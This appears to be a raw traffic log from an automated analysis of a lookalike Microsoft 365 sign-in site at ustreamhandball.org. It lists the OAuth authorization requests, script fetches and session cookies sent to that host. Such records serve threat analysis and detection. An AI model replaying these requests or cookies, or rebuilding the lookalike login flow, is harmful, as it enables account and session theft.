https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJK8Ae7AAQAAAO9QEt8OAAAA
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJK8Ae7AAQAAAO9QEt8OAAAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJI
